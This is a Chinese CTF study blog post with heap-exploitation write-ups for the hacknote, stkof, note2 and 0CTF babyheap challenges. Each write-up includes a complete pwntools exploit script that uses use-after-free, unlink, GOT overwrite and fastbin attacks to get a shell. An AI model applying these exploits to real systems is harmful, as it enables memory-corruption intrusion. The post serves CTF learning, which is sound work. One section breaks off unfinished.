0%

–ctf-wiki的刷题笔记

uaf

HITCON-training - lab 10 hacknote

存在uaf漏洞

image-20201111032646916

note的结构是,有两个属性put和content

image-20201111032057852

image-20201111032726035

puts函数存放的是print_note_content函数指针,输出的时候会调用这个函数,content属性是存放内容的堆指针。

image-20201111032835613

存在后门函数magic

所以,只要修改puts属性为magic属性,那么在show的时候,就会调用magic函数,get flag。

申请一个堆块,会建立两个堆,一个存放输出信息,一个存放内容

image-20201111032951397

这里,0x11的是notelist结构题,存放的是puts和content两个指针。

如果我们把这两个堆块都释放了,那么他们都进入了fastbin

image-20201111033120082

如果此时我们申请一个和notelist长度一样的堆块,那么它会把原先的两个0x11给我们,一个作为notelist一个作为content,但是content我们是可控的,放入magic,再输出,即调用magic函数。

image-20201111033408089

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
p=process("./hacknote")
#context.log_level ='debug'

magic = 0x08048986

def add(size,content):
p.recvuntil("choice :")
p.sendline("1")
p.recvuntil("size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)

def free(idx):
p.recvuntil("choice :")
p.sendline("2")
p.recvuntil("dex :")
p.sendline(str(idx))

def show(idx):
p.recvuntil("choice :")
p.sendline("3")
p.recvuntil("dex :")
p.sendline(str(idx))

add(32,"aaaa")
add(32,"bbbb")

free(0)
free(1)

add(0x8,p32(magic)*2)
show(0)
gdb.attach(p)
p.interactive()

以前写的:https://blog.csdn.net/qq_43935969/article/details/104730157

unlink

2014_hitcon_stkof

libc

  • 如果题目中给出了libc文件,用ida打开,搜索字符串,搜索versionimage-20201108030310873

  • 如果题目没有给出libc文件,需要一个个尝试

    • 堆的话试试UAF啥的

      ​ 要么2.23、要么2.27、2.31就喷他

    • 栈溢出那就leak一下就行了

got表和plt表

  • .got

GOT(Global Offset Table)全局偏移表。这是「链接器」为「外部符号」填充的实际偏移表。

  • .plt

PLT(Procedure Linkage Table)程序链接表。它有两个功能,要么在 .got.plt 节中拿到地址,并跳转。要么当 .got.plt 没有所需地址的时,触发「链接器」去找到所需地址

  • .got.plt

这个是 GOT 专门为 PLT 专门准备的节。说白了,.got.plt 中的值是 GOT 的一部分。它包含上述 PLT 表所需地址(已经找到的和需要去触发的)

我们说的覆写plt表指的是.got.plt,通过调试得出

image-20201108032958022

第一个add

没有setbuf,把输入输出缓冲区申请好。

globals(head)

所有chunk存储的位置

chunk开始的地方

image-20201108031201127

image-20201108010322075

v2是分配的数据指针,而v2是存储在bss段上的,没有开启pie,所以是不变的。

堆溢出

image-20201108012152824

edit函数中,因为修改的长度是自己输入的,那我想改多少改多少,存在堆溢出

unlink的具体操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
alloc(0x30)  # idx 2
# small chunk size inorder to trigger unlink
alloc(0x80) # idx 3
# a fake chunk at global[2]=head+16 who's size is 0x20
payload = p64(0) #prev_size
payload += p64(0x20) #size
payload += p64(head + 16 - 0x18) #fd
payload += p64(head + 16 - 0x10) #bk
payload += p64(0x20) # next chunk's prev_size bypass the check
payload = payload.ljust(0x30, 'a')
# overwrite global[3]'s chunk's prev_size
# make it believe that prev chunk is at global[2]
payload += p64(0x30)
# make it believe that prev chunk is free
payload += p64(0x90)
edit(2, len(payload), payload)
# unlink fake chunk, so global[2] =&(global[2])-0x18=head-8
free(3)

分配两个chunk,对第一个chunk进行修改,其中bk和fd放成target - 12target - 8

20是因为-12和-8是伪造一个堆块,大小为0x10,被释放了,所以,检查机制会看下一个堆块的prev_size

30和90是下一个chunk的头,也就是上chunk3的上一个chunk在chunk2,90表示被释放了

unlink的结果

image-20201108031435390

所以,接下来往chunk2写入数据就会从0x602138开始。。。

注意的是:0x602140仍旧是global[0]的起始地址,那么,覆盖40-58的地址,用global[0\1\2]就可以调用到。

执行结果如下:

image-20201108031836380

got表

所以,现在edit(0),就会往第一个地址里面写入数据。

如果第一个是某个got表地址,那么写入的话,got表里面的内容就可能被替换掉了。

free(1)

因为这里,第一个指针地址是puts的got表地址(参数),free的got表也被替换为puts的plt表(原来的执行plt实际上就是执行.got.plt,所以一样),所以执行free函数的话,执行的是put.plt,参数是puts的got表地址

edit(2, len(payload), payload)

这里修改的2就直接是88,atoi的got表里面的数据,然后继续执行的时候,会让输入,把binsh给他们就行。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
p = process("./stkof")
elf = ELF("./stkof")
libc = ELF("./libc.so.6")

def add(size):
p.sendline("1")
p.sendline(str(size))

def edit(idx,size,content):
p.sendline("2")
p.sendline(str(idx))
p.sendline(str(size))
p.send(content)

def free(idx):
p.sendline("3")
p.sendline(str(idx))
head = 0x00602140
#x/30gx 0x00602140
add(0x30)#1
add(0x30)
add(0x80)

payload = p64(0) + p64(0x20)
payload += p64(head + 16 - 0x18)
payload += p64(head + 16 - 0x10)
payload += p64(0x20)
payload = payload.ljust(0x30,'a')
payload += p64(0x30) + p64(0x90)
edit(2,len(payload),payload)
free(3)

free_got = elf.got['free']
puts_got = elf.got['puts']
atoi_got = elf.got['atoi']
puts_plt = elf.plt['puts']

payload = p64(0x0)+p64(free_got)+p64(puts_got)+p64(atoi_got)
edit(2,len(payload),payload)

payload = p64(puts_plt)
edit(0,len(payload),payload)
free(1)
puts_addr = u64(p.recvuntil("\x7f")[-6:] + '\x00\x00')
print("[*]puts_addr:",hex(puts_addr))

libc_base = puts_addr - libc.symbols['puts']
system = libc_base + libc.symbols['system']
binsh = libc_base + next(libc.search('/bin/sh'))

payload = p64(system)
edit(2,len(payload),payload)
p.send(p64(binsh))

p.interactive()

2016 ZCTF note2

对于程序自己重写read等功能,要看一下,因为很可能就是做了一定的变动,导致可能存在某个漏洞。

image-20201111021534976

本题中主要是ReadStr这个函数,由于是i是无符号数,所以在比较len - 1 > i时,会把它转换为无符号数,如果len = 0,那么长度就变成了0xfffffffff,如果ReadStr(note, size, 10);就可以往note里面写入很多的数据,造成堆溢出。

漏洞分析

本题的主要漏洞就在于这个点,利用堆溢出,可以实现unlink功能。

堆块的指针存在于ptr,地址为0x00602120

首先申请一个块,由于有大小限制,就申请最大的0x80,在里面伪造块

1
2
3
4
5
6
ptr = 0x00602120
payload = "a"*0x8 + p64(0x60)#0x60和0x61都可
payload += p64(ptr - 0x18) + p64(ptr - 0x10)
payload += "a" * 64
payload += p64(0x60)
add(0x80,payload)

因为只有大小为0的才能栈溢出,所以我们申请一个大小为0的块作为中介。

但是 glibc 的要求 chunk 块至少可以存储 4 个必要的字段 (prev_size,size,fd,bk),所以会分配 0x20 的空间。

最后再申请一个正常的堆块,0x80。

这时,堆布局如下:

image-20201111022359588

因为大小为0的堆块只有在add的时候,读入才堆溢出。所以我们先把它释放,再重新申请,因为大小一样,会把释放掉的给我们重新分配回来。

这时候,就可以把下一个堆块的头给覆盖了。

1
2
3
4
free(1)
payload = "a"*0x8*2 + p64(0xa0) + p64(0x90)
add(0,payload)
free(2)

因为是释放chunk3,却要让它unlink chunk1,所以prev_size要是和chunk1的距离,这样,chunk3会根据自己的地址 - prev_size找到前一个chunk是chunk1。

然后free2,就成功unlink了。

image-20201111022859025

然后,就可以正常了。

覆盖指针的地址为atoi_got表地址,show泄漏他的地址,找到libc基址,找到system的地址,然后覆盖原来的atoi_got的地址,然后执行的atoi函数的时候,发送‘/bin/sh’即可,这里可以是它的地址也可以是字符串。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
p = process("./note2")
elf = ELF("./note2")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')#给的libc版本是2.19但是不好使呀,要用2.23的

context.log_level = 'debug'

p.recvuntil("name:")
p.sendline("winter")
p.recvuntil("address:")
p.sendline("qh")


def add(size,content):
p.recvuntil("option--->>")
p.sendline("1")
p.recvuntil("(less than 128)")
p.sendline(str(size))
p.recvuntil("content:")
p.sendline(content)

def show(idx):
p.recvuntil("option--->>")
p.sendline("2")
p.recvuntil("id of the note:")
p.sendline(str(idx))

def edit(idx,choice,content):
p.recvuntil("option--->>")
p.sendline("3")
p.recvuntil(" the note:")
p.sendline(str(idx))
p.recvuntil("[1.overwrite/2.append]")
p.sendline(str(choice))
p.sendline(content)

def free(idx):
p.recvuntil("option--->>")
p.sendline("4")
p.recvuntil("the note:")
p.sendline(str(idx))

ptr = 0x00602120
payload = "a"*0x8 + p64(0x60)
payload += p64(ptr - 0x18) + p64(ptr - 0x10)
payload += "a" * 64
payload += p64(0x60)

add(0x80,payload)
add(0,"bbbbbbbb")
add(0x80,"aaaaaaaa")
free(1)
payload = "a"*0x8*2 + p64(0xa0) + p64(0x90)
add(0,payload)
free(2)

atoi_got = elf.got['atoi']
payload = "a"*0x18 + p64(atoi_got)
edit(0,1,payload)

show(0)
p.recvuntil("Content is ")
atoi_got = u64(p.recvuntil('\x7f')[-6:]+'\x00\x00')

libc_base = atoi_got - libc.symbols['atoi']
system = libc_base + libc.symbols['system']
binsh = libc_base + libc.search('/bin/sh').next()
payload = p64(system)

edit(0,1,payload)
p.recvuntil("option--->>")
p.sendline(p64(binsh))
gdb.attach(p)

p.interactive()

unlink总结

  1. 要伪造堆块
  2. 可以溢出覆盖下一个堆块的头
  3. unlink是函数指针

unlink先到这里,,等有空再做剩下几题。。。

花式栈溢出技巧

stack pivoting(栈迁移)

第一题是直接用jmp esp进行栈迁移的

image-20201112211503737

题目很简单,一个栈溢出,但是溢出字节不是很多,只有50 - 0x20-0x4(ebp) = 14个字节,难以利用。

因为这里是存在栈上而不是bss段上,所以不能用ret2shellcode(不知道输入的具体地址)

所以

fastbin

2017 0ctf babyheap

image-20201118233314339

64位的程序,保护全开

image-20201118233342993

填充内容的时候,长度是重新输入的,可以填充任意长度,造成栈溢出

image-20201118233449344

没有uaf

思路

主要的漏洞:任意长度堆溢出

  • 利用unsortedbin地址泄漏libc基地址

  • 利用fastbin attack将chunk分配到malloc_hook附近

具体过程

要利用unsortedbin泄漏,所以,要让两个块同时指向unsortedbin地址。

第一部分:

所以,一开始,首先将大小为0x80的块同时被认为是chunk2。方法是释放chunk2和chunk1,修改1的fd(原本指向chunk2),现在修改为chunk4,那么申请回来的时候chunk2实际是chunk4的内容。这里为了绕过检查,要让chunk4的大小为0x10。

接着,让chunk4的地址变回0x80,为了防止和top chunk合并,多申请一个chunk5,接着释放chunk4进入unsortedbin(chunk被释放后,如果大小不再fastbin内,会先放到unsortedbin中),chunk4里面的指针指向unsortedbin的链表头,用它可以计算出main_arena和libc的地址

第二部分:

因为malloc_hook附近有0x7f可用,找到一个合适的地方,申请堆块到这里,然后覆盖malloc_hook为one_gadget地址,再malloc任意值即可得到shell。

1.前期申请

5个chunk

1
2
3
4
5
add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4
1
2
3
4
5
6
7
8
9
10
11
pwndbg> x/40gx 0x55b474ad1000
0x55b474ad1000: 0x0000000000000000 0x0000000000000021
0x55b474ad1010: 0x0000000000000000 0x0000000000000000
0x55b474ad1020: 0x0000000000000000 0x0000000000000021
0x55b474ad1030: 0x0000000000000000 0x0000000000000000
0x55b474ad1040: 0x0000000000000000 0x0000000000000021
0x55b474ad1050: 0x0000000000000000 0x0000000000000000
0x55b474ad1060: 0x0000000000000000 0x0000000000000021
0x55b474ad1070: 0x0000000000000000 0x0000000000000000
0x55b474ad1080: 0x0000000000000000 0x0000000000000091
0x55b474ad1090: 0x0000000000000000 0x0000000000000000
2.令另一个chunk分配到chunk4
1
2
free(2)
free(1)

链表:

1
2
3
4
5
6
7
8
9
10
11
12
fastbins
0x20: 0x55a609172020(1) —▸ 0x55a609172040(2) ◂— 0x0

Free chunk (fastbins) | PREV_INUSE(1)
Addr: 0x55a609172020
Size: 0x21
fd: 0x55a609172040

Free chunk (fastbins) | PREV_INUSE(2)
Addr: 0x55a609172040
Size: 0x21
fd: 0x00

本来chunk1是指向chunk2的,修改最低8位,(因为开了pie,但是最低3字节不变),这样chunk1就指向chunk4了。

1
2
payload = p64(0) * 3 + p64(0x21) + p8(0x80)
fill(0,len(payload),payload)
1
2
3
pwndbg> bin
fastbins
0x20: 0x556f686e7020(1) —▸ 0x556f686e7080(4) ◂— 0x0

image-20201118235420360

接着修改chunk4的大小,方便绕过检查

1
2
payload = p64(0) * 3 + p64(0x21) + p64(0x21)
fill(3,len(payload),payload)

这样接着申请两个0x10的堆块时候,一个是原来的chunk1不变,chunk2变成了chunk4

1
2
add(0x10)#1
add(0x10)#2 -> 4

以后,使用chunk2,实际的操作在chunk4里面

3.将chunk4放入到unsortbin中

只要修改大小为0x80,然后释放掉即可。

这里为了防止与top chunk合并,所以在释放申请前,再申请一个chunk5

1
2
3
4
5
6
payload = p64(0) * 3 + p64(0x91)
fill(3,len(payload),payload)

add(0x80)#5

free(4)

现在,chunk2和chunk4指向相同的地址,而chunk4是unsortedbin中唯一的chunk,fd指针指向的是unsortedbin的链表,用chunk2就可以打印出它

1
2
3
dump(2)
p.recvuntil("Content: \n")
unsortedbin_addr = u64(p.recv(8))

由此计算出main_arena和libc基地址(0x58和0x3c4b20都是固定的libc-2.23.so)

main_arena_offset可以使用工具:https://github.com/Coldwave96/LibcOffset

image-20201119001527081

1
2
3
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
4. 伪造堆块

image-20201119000157127

main_arena上面就是malloc_hook,并且那些地址的开头都是0x7f,所以需要chunk块大小为0x60。

我们申请0x60的块即可,因为小于原来的0x80,会自动分割为两个:0x60和0x10(头,,),

image-20201119000539940

有三个0x7f,但是第一个太近了,无法完全覆盖malloc_hook,第二个,前面没有7个0x00,不符合要求,所以是第三个,地址是main_arena-0x33

1
2
3
4
5
6
add(0x60)#4
free(4)

fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2,len(fake_chunk),fake_chunk)
5.申请伪造的堆块

接着申请两个chunk

第一次申请的是chunk4,第二次申请的是chunk4的fd指针指向的地址,也就是我们伪造的堆块

1
2
add(0x60)#4
add(0x60)#6
6.在malloc的地址填入one_gadget

one_gadget libc文件(本地在/lib/x86_64-linux-gnu/libc-2.23.so),有四个一个个试呗,第二个就行。

1
2
3
4
one_gadget = libc_base + 0x4526a
payload = 'a'*0x13 + p64(one_gadget)
fill(6,len(payload),payload)
add(0x10)

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process("./babyheap_0ctf_2017")
#p = remote('node3.buuoj.cn',28082)
context.log_level = 'debug'
context.binary = "./babyheap_0ctf_2017"


def offset_bin_main_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset

offset_unsortedbin_main_arena = offset_bin_main_arena(0)

def add(size):
p.recvuntil("Command:")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))

def fill(idx,size,content):
p.recvuntil("Command:")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(str(content))

def free(idx):
p.recvuntil("Command:")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))

def dump(idx):
p.recvuntil("Command:")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))

add(0x10)#0
add(0x10)#1
add(0x10)#2
add(0x10)#3
add(0x80)#4

free(2)
free(1)

payload = p64(0) * 3 + p64(0x21) + p8(0x80)
fill(0,len(payload),payload)

payload = p64(0) * 3 + p64(0x21) + p64(0x21)
fill(3,len(payload),payload)

add(0x10)#1
add(0x10)#2 -> 4

payload = p64(0) * 3 + p64(0x91)
fill(3,len(payload),payload)

add(0x80)#5

free(4)
dump(2)
p.recvuntil("Content: \n")
unsortedbin_addr = u64(p.recv(8))
main_arena = unsortedbin_addr - offset_unsortedbin_main_arena
main_arena_offset = 0x3c4b20
libc_base = main_arena - main_arena_offset
log.success("[*]unsortedbin_addr:"+hex(unsortedbin_addr))
log.success("[*]main_arena:"+hex(main_arena))
log.success("[*]libc_base:"+hex(libc_base))

add(0x60)#4
free(4)

fake_chunk_addr = main_arena - 0x33
fake_chunk = p64(fake_chunk_addr)
fill(2,len(fake_chunk),fake_chunk)

gdb.attach(p)

add(0x60)#4
add(0x60)#6

one_gadget = libc_base + 0x4526a
payload = 'a'*0x13 + p64(one_gadget)
fill(6,len(payload),payload)
add(0x10)
p.interactive()
Q:如果阅读本文需要付费,你是否愿意为此支付1元?